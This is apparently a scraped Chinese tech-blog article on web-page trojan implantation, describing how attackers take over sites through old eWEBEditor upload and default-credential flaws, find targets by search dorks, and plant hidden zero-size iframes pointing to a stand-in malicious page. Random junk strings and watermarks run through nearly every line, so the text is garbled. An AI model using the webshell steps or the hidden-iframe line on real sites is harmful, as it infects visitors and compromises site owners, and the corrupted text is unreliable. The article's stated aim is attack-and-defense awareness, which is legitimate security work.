黑客攻防:网页挂马攻防全接触
1、关于网页挂马
1?I5{l GEu(vp2W?0W[n)AC0 网页挂马就是攻击者通过在正常的页面中(通常是网站的主页)插入一段代码。浏览者在打开该页面的时候,这段代码被执行,然后下载并运行某木马的服务器端程序,进而控制浏览者的主机。
A4c8X@QTB(tO0IXPUB技术博客D+Y'Z-A#X7S9pay2、获取WebshellIXPUB技术博客'_0H+X#ruW c a
)t(Ba d R? s0 攻击者要进行网页挂马,必须要获取对站点文件的修改权限,而获取该站点Webshell是最普遍的做法。IXPUB技术博客|XR}[
IXPUB技术博客8Qa~B_ V.M其实可供攻击者实施的攻击手段比较多,比如注入漏洞、跨站漏洞、旁注漏洞、上传漏洞、暴库漏洞和程序漏洞都可被利用。下面就列举一个当前比较流行的eWEBEditor在线HTML编辑器上传漏洞做个演示和分析。
\;~cr4P t5a1R:d0.O;kbIZos {'M$~0 1).网站入侵分析
?Rw/`HMR,^0iI+k]w z;[7van)x0 eWEBEditor是一个在线的HTML编辑器,很多网站都集成这个编辑器,以方便发布信息。低版本的eWEBEditor在线HTML编辑器,存在者上传漏洞,黑客利用这点得到WEBSHELL(网页管理权限)后,修改了网站,进行了挂马操作。
!^k0[TOFm0IXPUB技术博客0v2{L)F+rT其原理是:eWEBEditor的默认管理员页面没有更改,而且默认的用户名和密码都没有更改。攻击者登陆eWEBEditor后,添加一种新的样式类型,然后设置上传文件的类型,加入asp文件类型,就可以上传一个网页木马了。(图1)
;|oV:cwNw}0
IXPUB技术博客2v'pdz
KkOr V!N
2).判断分析网页漏洞
w,nO OcN(o0`2D(SsI8q0 (1).攻击者判断网站是否采用了eWEBEditor的方法一般都是通过浏览网站查看相关的页面或者通过搜索引擎搜索类似"ewebeditor.asp?id="语句,只要类似的语句存在,就能判断网站确实使用了WEB编辑器。
6JTT/p7IL{Q0IXPUB技术博客5RBo GF h L(2).eWEBEditor编辑器可能被黑客利用的安全漏洞:IXPUB技术博客A-I/Y:H5?1t
%z@Z DU5b/V,m*y1Jl's0 a.管理员未对数据库的路径和名称进行修改,导致黑客可以利用编辑器默认路径直接对网站数据库进行下载。IXPUB技术博客.?u ] ~/]FB~I#u3_
IXPUB技术博客eb?,~2e/R3mb.管理员未对编辑器的后台管理路径进行修改导致黑客可以通过数据库获得的用户名和密码进行登陆。或者是默认密码。直接进入编辑器的后台。IXPUB技术博客/sK| Vvn Q
IXPUB技术博客7DcG7Hec.该WEB编辑器上传程序存在安全漏洞。
O[ r!L%Am;ry\05KSSW+V4d0 分析报告指出:网站的admin路径下发现cer.asp网页木马,经分析为老兵的网页木马。(加密后依旧能通过特征码分辨,推荐网站管理员使用雷客ASP站长安全助手,经常检测网站是否被非法修改。)3、揭秘几种最主要的挂马技术IXPUB技术博客y%LU@,zo o
IXPUB技术博客I9Anxh){P(1).iframe式挂马
],XW:L:v\0IXPUB技术博客"} s_5V%n?0z网页木马被攻击者利用iframe语句,加载到任意网页中都可执行的挂马形式,是最早也是最有效的的一种网络挂马技术。通常的挂马代码如下:
K9t br]jc0IXPUB技术博客GD2mig#y:M;p| <iframe src=http://www.xxx.com/muma.html width=0 height=0></iframe> |
O5{8e1V{0 解释:在打开插入该句代码的网页后,就也就打开了http://www.xxx.com/muma.html页面,但是由于它的长和宽都为“0”,所以很难察觉,非常具有隐蔽性。下面我们做过做个演示,比如在某网页中插入如下代码: IXPUB技术博客l ?)rX/l0C.q
G[yh+C _)y$G0
| <iframe src=http://security.ctocio.com.cn width=200 height=200></iframe> |
]FR {EZ9o)lOx0 在“百度”中嵌入了“IT专家网安全版块”的页面,效果如图2。